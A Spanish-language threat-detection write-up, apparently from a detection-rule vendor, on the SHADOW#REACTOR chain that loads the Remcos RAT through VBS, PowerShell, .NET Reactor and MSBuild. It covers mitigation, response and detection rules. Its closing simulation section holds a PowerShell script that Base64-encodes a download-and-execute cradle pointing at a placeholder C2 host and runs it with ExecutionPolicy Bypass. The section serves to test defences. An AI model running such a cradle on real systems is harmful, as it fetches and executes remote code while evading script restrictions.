SHADOW#REACTOR – ALMACENAMIENTO SOLO TEXTO, .NET REACTOR, E IMPLEMENTACIÓN EN MEMORIA DEL REMCOS RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
SHADOW#REACTOR es una cadena de malware de Windows de múltiples etapas que combina un lanzador VBS ofuscado, un descargador basado en PowerShell, artefactos de puesta en escena solo de texto, un cargador protegido por .NET Reactor y la ejecución de MSBuild para finalmente desplegar el troyano de acceso remoto Remcos (RAT).
Investigación
Los investigadores reconstruyeron el flujo comenzando con un script VBS recuperado de la infraestructura del atacante, seguido por rutinas de PowerShell que reensamblan y decodifican cargas útiles de texto en etapas. La cadena continúa con la carga reflexiva, en memoria, de un ensamblado .NET y un traspaso final a MSBuild, que desencadena la ejecución del RAT de Remcos. El informe documenta los componentes codificados en texto, la lógica de descifrado y los métodos de persistencia utilizados para mantener el acceso.
Mitigación
Aumente la cobertura de monitoreo para hosts e intérpretes de scripts y evite la ejecución de VBS/PowerShell desde rutas editables por el usuario donde sea posible. Agregue detecciones para tráfico HTTP saliente sospechoso hacia la infraestructura identificada, uso indebido de MSBuild y carga reflexiva de ensamblados .NET. Monitoree patrones comunes de persistencia, incluidas modificaciones de Run-key y entradas de inicio basadas en accesos directos.
Respuesta
Si se confirma la actividad de SHADOW#REACTOR, aísle el punto final y detenga toda la cadena de procesos (wscript.exe → powershell.exe → msbuild.exe). Elimine cualquier archivo de texto en etapa y artefactos de registro relacionados, y corrija eliminando los binarios de Remcos y los bloques de configuración asociados. Luego, realice una revisión forense exhaustiva para delimitar un compromiso adicional y asegurar la erradicación completa.
Flujo de Ataque
Detecciones
WScript / CScript de LOLBAS (mediante process_creation)
Ver
Cadenas de PowerShell Sospechosas (mediante powershell)
Ver
Binarios / Scripts Sospechosos en Ubicación de Inicio Automático (mediante file_event)
Ver
Archivos Sospechosos en el Perfil de Usuario Público (mediante file_event)
Ver
Ejecución Sospechosa desde el Perfil de Usuario Público (mediante process_creation)
Ver
Llamar Métodos .NET Sospechosos desde Powershell (mediante powershell)
Ver
IOCs (HashSha256) para detectar: SHADOW#REACTOR – ETAPAS DE SOLO TEXTO, .NET REACTOR Y DESPLIEGUE DE REMCOS RAT EN MEMORIA
Ver
IOCs (SourceIP) para detectar: SHADOW#REACTOR – ETAPAS DE SOLO TEXTO, .NET REACTOR Y DESPLIEGUE DE REMCOS RAT EN MEMORIA
Ver
IOCs (DestinationIP) para detectar: SHADOW#REACTOR – ETAPAS DE SOLO TEXTO, .NET REACTOR Y DESPLIEGUE DE REMCOS RAT EN MEMORIA
Ver
Detección de la Cadena de Infección SHADOW#REACTOR [Creación de Procesos de Windows]
Ver
Detección de Bypass de ExecutionPolicy y Comandos PowerShell Ofuscados [Windows Powershell]
Ver
Ejecución de Simulación
Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar exactamente la telemetría esperada por la lógica de detección.
-
Narrativa y Comandos de Ataque:
Un atacante con derechos de movimiento lateral limitados desea ejecutar una carga útil remota en un host de Windows comprometido mientras evade las defensas típicas de bloqueo de scripts. Usan PowerShell con-ExecutionPolicy Bypasspara ignorar las restricciones de política de ejecución. La carga útil maliciosa está ofuscada como una cadena codificada en Base64 que, cuando se decodifica, crea unSystem.Net.WebClientobjeto para descargar un script de PowerShell desde un servidor C2 y lo invoca. Esta combinación satisface los tres criterios de detección (Bypass de ExecutionPolicy,FromBase64String,System.Net.WebClient). -
Script de Prueba de Regresión:
#-------------------------------------------- # Ejecución simulada de PowerShell malicioso #-------------------------------------------- # 1. Elaborar un script remoto simple (solo para demostración) $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")' # 2. Codificar el script en Base64 $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript) $b64 = [Convert]::ToBase64String($bytes) # 3. Ejecutar con Bypass de ExecutionPolicy y FromBase64String PowerShell -ExecutionPolicy Bypass -Command " $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64')); Invoke-Expression $decoded " -
Comandos de Limpieza:
# Eliminar cualquier carga útil descargada y detener procesos de PowerShell persistentes Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue